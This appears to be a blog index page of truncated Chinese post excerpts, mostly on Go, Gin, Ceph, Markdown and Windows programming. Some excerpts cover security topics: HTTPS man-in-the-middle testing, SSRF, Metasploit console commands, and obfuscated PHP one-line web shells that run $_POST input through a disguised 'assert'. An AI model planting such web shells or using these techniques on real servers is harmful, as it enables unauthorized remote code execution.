环境 系统环境:centos7.6 2003 节点: ceph_node1: 安装组件:ceph-deploy,ceph-admin 组件:mon1,mgr1,ods ntp服务器 IP :192.168.10.15 硬盘:两块4T(后续会添加) ceph_node2: 组件:mon2,mgr2,ods IP :192.168.10.16 硬盘:两块4T(后续会添加) ceph_node3: 组件:mon2,mgr2,ods I
https中间人攻击 使用tls/ssl方法进行加密传输 http攻击方法 降级攻击 解密攻击(明文,证书伪造) 协议漏洞,实现漏洞,配置不严格 openssl openssl s_client -connect www.baidu.com:443 **** sslscan 自动识别ssl配置错误,过期协议 默认检查 CRIME heartbleed 漏洞 绿色: 安全 红色
ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Server-side Request
msfconsole 数据库 systemctl start postgresql.service db_status db_rebuild_cache#已停用 msfdb reinit db_connect db_disconnect db_nmap hosts services -S 445 creds vulns db_import db_export 控制台 set unset setg #g --> global unsetg save #保存配置信息 run/
使用context.Context 上下文去全局数据 metadata type MD map[string][]string //第一种方式 md := metadata.New(map[string]string{"key1": "val1", "key2": "val2"}) //第二种方式 key不区分大小写,会被统一转成小写 md := metadata.Pairs( "key1",
一句话木马 目录一句话木马php方法收集 php 方法 字符串变形: substr(string, start, length) <?php $a = 'a'.'s'.'s'.'e'.'r'.'t'; $a($_POST['x']); ?> <?php $a = substr('1a',1)
Gin请求参数绑定与多数据格式处理 目录Gin请求参数绑定与多数据格式处理表单实体绑定(参数绑定)ShouldBindQuery()ShouldBind()ShouldBindJson()参数获取获取querystring参数获取form参数获取json参数Gin文件上传单文件上传多文件上传 表单实体绑定(参数绑定) 使用PostForm这
多数据格式返回请求结果 来源:https://www.qfgolang.com/?special=ginkuangjia&pid=2927 目录多数据格式返回请求结果[]bytestringjsonmap类型结构体类型HTML模板加载静态资源文件重定向http重定向路由重定向 gin框架中,支持返回多种请求数据格式。 []byte ... engine := gin.Defaul
基础数据类型 目录基础数据类型基础类型整形浮点数复数布尔型字符串常量复合类型数组slicemap结构体JSON文本和HTML模板 Go语言将数据类型分为四类:基础类型、复合类型、引用类型和接口类型。 graph LR A[基础类型] -->B(数字) A -->C(字符串) A -->D(布尔值) graph LR A[复合
Go汇编语言 目录Go汇编语言定义整数变量 定义 整数变量 // pkg.go package pkg var Id = 1234 go tool compile -S pkg.go “”.Id 表示Id变量,int,8个字节,值 0x4d2 SNOPTRDATA NOPTR表示数据不含指针
Panic异常函数 目录Panic异常函数函数声明递归多返回值错误函数值匿名函数可变参数Deferred函数Panic异常Recover捕获异常 函数声明 函数声明包括函数名、形式参数列表、返回值列表(可省略)以及函数体。 func name(parameter-list) (result-list) { body } 例: func hypot(x, y
shell 目录shell运行时隐藏golang程序自己的cmd窗口: 运行时隐藏golang程序自己的cmd窗口: go build -ldflags -H=windowsgui *.go
程序结构 目录程序结构命名声明类型 命名 如果一个名字是在函数内部定义,那么它的就只在函数内部有效。如果是在函数外部定义,那么将在当前包的所有文件中都可以访问。名字的开头字母的大小写决定了名字在包外的可见性。如果一个名字是大写字母开头的(译注:必须是在函数外部定义的包级
目录windows历程Hello WorldUNICODE窗口事件驱动第001讲:【*】__stdcall,__cdecl,__pascal,__fastcall的区别[扩展阅读] 第003讲:大写标识符的含义 windows历程 Hello World #include <windows.h> int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszAr
Windows 常用消息及含义 消息范围 说明 0 ~ WM_USER – 1 系统消息 WM_USER ~ 0x7FFF 自定义窗口类整数消息 WM_APP ~ 0xBFFF 应用程序自定义消息 0xC000 ~ 0xFFFF 应用程序字符串消息 > 0xFFFF 为以后系统应用保留 消息名称 值 含义 WM_NULL 0x0000 空消息,
使用PicGo+SM.MS实现md文档图片上传 如果你使用gitee图床失效,你也可以试一试SM.MS图床,新用户有5G的存储空间,唯一不足之处在于日后扩容需要money,而且网站服务器部署在国外,图片的上传,加载比较慢。 注册账号 这一步,使用这个链接到SM.MS官网注册账号 设置API Tocken 在左侧栏中,选择
使用PicGo+SM.MS实现md文档图片上传 如果你使用gitee图床失效,你也可以试一试SM.MS图床,新用户有5G的存储空间,唯一不足之处在于日后扩容需要money,而且网站服务器部署在国外,图片的上传,加载比较慢。 注册账号 这一步,使用这个链接到SM.MS官网注册账号 设置API Tocken 在左侧栏中,选择
md内置emoji表情:https://www.webfx.com/tools/emoji-cheat-sheet/ 小明 概况:6年工作经验 | 男 | 26岁(1990年5月16日) | 未婚 | 178cm | 党员 电话:13800138000 E-mail: xxxx@163.com 地址:深圳南山 公司:深圳xxx科技有限公司 行业:电子商务 职位:Java高级工程师 学校:xx大学 学历:本科
收费…… 可以考虑使用:MarkText 简述MarkText MarkText 这个工具侧重于“命令”,导航栏都被收起来了。有些小伙伴感觉反而不好用,其实不然,是未了解该工具的强大之处。 md 文本本身就是侧重命令编写,MarkText 工具通过一些命令和快捷键使得编写md更加便捷,所以导航栏才收起来了。 比如
聚合查询 分组查询 F与Q查询 ORM查询优化 ORM字段类型及参数 ORM事务操作 聚合查询 MySQL聚合函数: """ max 统计最大值 min 统计最小值 sum 统计求和 count 统计计数 avg 统计平均值 """ '''使用关键字段:aggregater''' 操作方法: from d
标题 不同个数的#+空格+标题 字体 加粗:两个星号+内容+两个星号 hello world 斜体:一个星号+内容+一个星号 hello world 加粗斜体:三个星号+内容+三个型号 内容 删除线:两个波浪线+内容+两个波浪线 hello world 引用 大于号 md语法练习 分割线 三个-或者三个* 截图 英文感叹号+中
本贴介绍了在debian中如何使用vim撰写markdown文档。 一、Retext 首先上互联网查阅一下在linux下用得最多的markdown写作软件,从软件仓库安装了Retext,使用了一下,总的来说很方便,有实时预览窗口、按键后预览、导出为html文档等;输入公式的话,也有说明,需要加载Mathjax,预览的话,要启用webK
这就是传说中的数论全家桶么…… 用到了Lucas定理,中国剩余定理,欧拉定理 大体而言可以拆数发现999911658=2*3*4679*35617 然后跑四遍CRT即可 #include<cstdio> #include<cstring> #include<string> #include<cmath> #define WR WinterRain using namespace std; const long long W
一 Belongs To(一对一) 1.1 Belongs To belongs to 会与另一个模型建立了一对一的连接。 这种模型的每一个实例都“属于”另一个模型的一个实例。 例如,您的应用包含 user 和 company,并且每个 user 能且只能被分配给一个 company。下面的类型就表示这种关系。 注意,在 User 对象中,有
Acwing790.数的三次方根 题解 做法一:通过二分运算到符合精度要求 #include <iostream> #include <cstdio> using namespace std; #define f 1e-8 int main() { double x; cin >> x; double bg = -10000, ed = 10000, md, temp; while(ed-bg > f){ m